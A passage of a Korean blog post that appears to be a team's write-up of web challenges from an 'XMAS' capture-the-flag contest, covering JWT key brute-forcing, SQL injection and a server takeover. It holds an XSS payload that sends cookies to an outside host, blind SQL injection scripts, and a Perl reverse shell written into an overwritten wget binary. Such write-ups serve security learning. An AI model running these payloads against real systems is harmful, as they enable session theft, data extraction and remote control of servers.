    headers['Accept'] = '*/*'
    headers['Origin'] = 'http://ch4n3.me:8080'
    headers['X-Requested-With'] = 'XMLHttpRequest'
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
    headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
    headers['Referer'] = 'http://ch4n3.me:8080/xmas/?p=list'
    headers['Accept-Encoding'] = 'gzip, deflate'
    headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    headers['Cookie'] = 'PHPSESSJWT={}'.format(get_token(no).replace("=", "%3d"))

    # params setting
    params = OrderedDict()

    # data setting
    data = OrderedDict()
    data['music_no'] = '26'

    # send packet
    r = s.post(url, headers=headers, params=params, data=data, verify=False)
    return r.text


if __name__ == "__main__":
    # requests initialization
    s = requests.Session()
    retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504])
    s.mount('http://', HTTPAdapter(max_retries=retries))

    # let's exploit!
    for no in range(1,1300):
        res = send_payload(s, no)

Flag: XMAS{Last Christmas~ I gave you my heart~ <3}


[WEB] 🎁 JWT (web / 849pts / 41 solved)


설명

Plz crack jwt
http://115.68.235.72:9991/bruth/
Download
* CSRF 문제와 같은 파일입니다

풀이

    jwt: {
        bruth: {
          key: '********', // 0~9, 8 length
          options: {
            issuer: 'c2w2m2',
            expiresIn: '1d',
            algorithm: 'HS256',
          }
        },

config.js를 확인해보면 key가 숫자로 구성되어 있고, 8글자인 것을 힌트로 주는 것을 확인할 수 있다. JWT key를 Bruteforce할 수 있는 툴(https://github.com/aress31/jwtcat)을 사용하였다

Untitled%2017.png

시크릿키가 40906795 인 것을 찾아내었다. 이를 이용하여 https://jwt.io/ 에서 token을 생성할 수 있다.

Untitled%2018.png

생성한 token을 이용하여 사이트에 접속하면, flag를 출력해준다.

Untitled%2019.png

Flag: XMAS{bru73-f0rc3-jw7_^^7}


[WEB] 🎁 CSRF (web / 944pts / 25 solved)


설명

CSRF? XSS? 뭐징..?? 어드민이 글을 본다고는 하는데...
http://115.68.235.72:9991/csrf/
Download
* JWT 문제와 같은 파일입니다

풀이

import base64

script = """
var x = new Image();
x.src = '//home.zairo.kr:1234/' + btoa(document.cookie);
document.body.appendChild(x);
"""
script = base64.b64encode(script.encode()).decode()
script = "eval(atob('{}'))".format(script)

print("<iframe src=javas&#99;ript:{}>".format(script))

문제에서 script를 필터링하므로 javas&#99;ript:를 이용하여 script 필터링을 우회하였다.

Untitled%2020.png

<iframe src=javas&#99;ript:eval(atob('CnZhciB4ID0gbmV3IEltYWdlKCk7Cnguc3JjID0gJy8vaG9tZS56YWlyby5rcjoxMjM0LycgKyBidG9hKGRvY3VtZW50LmNvb2tpZSk7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoeCk7Cg=='))>

Untitled%2021.png

Untitled%2022.png

Untitled%2023.png

작성한 payload를 통해 글 작성을 수행한 후, 서버로 전송되는 쿠키 값 내부에 존재하는 flag를 확인할 수 있다.

Flag: XMAS{ez_xs5_ch41l_m3rry_chr1stm4ssssssss}


[WEB] 🎁 Dynamic SQL (web / 991pts / 10 solved)


설명

세계 최초는 아니고 두 번째? 정도로 sql 다이나믹 보안 솔루션을 개발해보았습니다.
munsiwoo.kr:23902
Download

풀이

세계 최초는 아니고 두 번째 정도의 sql 다이나믹 보안 솔루션이라 적당히 분석해봤다.

<?php
error_reporting(0);
session_start();
require_once 'config.php';
require_once 'function.php';

$origin = get_origin_structure($db);
$table = $origin['table'];
$column = $origin['column'];
$data = $origin['data'];

$id = anti_sqli($_POST['id']);
$pw = anti_sqli($_POST['pw']);
$retval = ['result' => false, 'message' => 'Failed.'];

$sql = "select * from {$table} where {$column['id']}='{$id}' and {$column['pw']}='{$pw}';";
if(!$result = $db->query($sql)) {
    $retval['message'] = 'query error';
    die(json_encode($retval));
}

if($fetch = $result->fetch_array(MYSQLI_NUM)) {
    $retval['result'] = true;
    $retval['message'] = "Hello, {$fetch[0]}";

    if($fetch[0] == 'admin') {
        $retval['message'] .= "\nCan you read my note? zz";
    }
    else {
        $retval['message'] .= "\nnote : {$fetch[2]}";
    }
}

clean_structure($db, $origin);
echo json_encode($retval);

table, column을 동적으로 생성하는 컨셉의 문제인데, 이는 세션이 존재할 경우만 그렇고 세션없이 아래와 같이 연산자 우선순위에 의해서 like된 결과를 기반으로 blind sqli해서 pw column을 릭할 수 있다.

id=\&pw=like(0x{}25)>0#

import requests

url = "http://munsiwoo.kr:23902/login.php"

leak = "' an"
for i in range(100):
    for k in range(32, 127):
        if k == 0x25 or k == 0x5f:
            continue
        result = requests.post(url, data={
            "id": "\\",
            "pw": "like(0x{}25)>0#".format(leak.encode('hex') + chr(k).encode('hex'))
        }).json()
        if not result["result"]:
            leak += chr(k)
            print leak, leak.encode('hex')
            break

위의 코드에서는 ' and pw= 가 릭되므로 사용한 세션이 없을 경우, default table/column이 사용된다는 걸 알 수 있다. 그러므로 같은 방식으로 blind sqli를 해주면 된다.

from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def send_payload(s, payload):
    # variable initialization
    url = ""
    headers = {}
    params = {}
    data = {}

    # URL setting
    scheme = 'http'
    url = '{}://munsiwoo.kr:23902/login.php'.format(scheme)

    # headers setting
    headers = OrderedDict()
    headers['Connection'] = 'keep-alive'
    headers['Accept'] = '*/*'
    headers['Origin'] = 'http://munsiwoo.kr:23902'
    headers['X-Requested-With'] = 'XMLHttpRequest'
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
    headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
    headers['Referer'] = 'http://munsiwoo.kr:23902/index.php'
    headers['Accept-Encoding'] = 'gzip, deflate'
    headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
    #headers['Cookie'] = 'PHPSESSID=9b7blqa9kmvr84tkktqo0uqj71'

    # params setting
    params = OrderedDict()

    # data setting
    data = OrderedDict()
    data['id'] = '\\'
    data['pw'] = payload

    # send packet
    r = s.post(url, headers=headers, params=params, data=data, verify=False, allow_redirects=False)
    return r.text


if __name__ == "__main__":
    # requests initialization
    s = requests.Session()
    retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504])
    s.mount('http://', HTTPAdapter(max_retries=retries))

    # let's exploit!
    flag = ""
    for i in range(1,100):
        binary = ""
        for j in range(1,9):
            payload = 'or(if((substr(lpad(bin(ord(substr(note,{},1))),8,0),{},1)),1,0))#'.format(i,j)
            res = send_payload(s, payload)
            if "admin" in res:
                binary += '1'
            else:
                binary += '0'
            s.cookies.clear()
        flag += chr(int(binary, 2))
        print(flag)

Untitled%2024.png

Flag: XMAS{gksjaahglaemfekgngkgngkzzzzzzzzzzzz}


[WEBNABLE] 🎁 meeting (webnable / 999pts / 4 solved)


설명

http://115.68.235.72:19382
DOWNLOAD

풀이

addslashes함수가 구현되어있긴하지만, 실제로 넣어본 결과 정상적으로 동작하는 것으로 확인되었다. 이를 이용하여 sqli로 admin만 가능한 요청들을 수행할 수 있다.

또한, docker 환경임을 고려하여 root계정으로 서버가 실행될 수 있다는 생각을 했고, 아래와 같은 코드를 작성하여, wget 바이너리를 bash shellscript로 덮어씌운 뒤, wget을 실행하도록 요청해주면 reverse shell을 획득할 수 있었다.

#!/usr/bin/env python
import requests
from pwn import *

host = "115.68.235.72:19382"
#host = "0:4443"

data = {
    "id": "admin",
    "pw": "' or 1--",
    "url": "https://nekop.kr/wwww.php"
}
r = requests.post("http://{}/filePage".format(host), data=data)
if r.text.find("/tmp") != 0:
    print("error: {}".format(r.text))
    exit(0)
path = r.text[:21]
print("upload path: {}".format(path))

data = {
    "id": "admin",
    "pw": "' or 1--",
    "name": "/usr/bin/wget",
    "content": "#!/bin/bash\nperl -e 'use Socket;$i=\"3.115.149.14\";$p=1122;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n"
}
r = requests.post("http://{}/changePage".format(host), data=data)
print(r.text)

data = {
    "id": "admin",
    "pw": "' or 1--",
    "name": "/usr/bin/wget",
    "length": "42948441721"
}

r = requests.post("http://{}/readPage".format(host), data=data)
print(r.text)

Untitled%2025.png

위와 같이 reverse shell을 획득 하고, Stage2-flag를 읽고 플래그가 따로 되어있음을 확인하였고 meeting.db 안을 찾아보기 위해 meeting.db를 읽어들여 Stage1-flag를 읽을 수 있었다.

Flag: XMAS{c_w3b_serv3r_d0nt_d0_th4t...}

Written by Team. NOAR

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.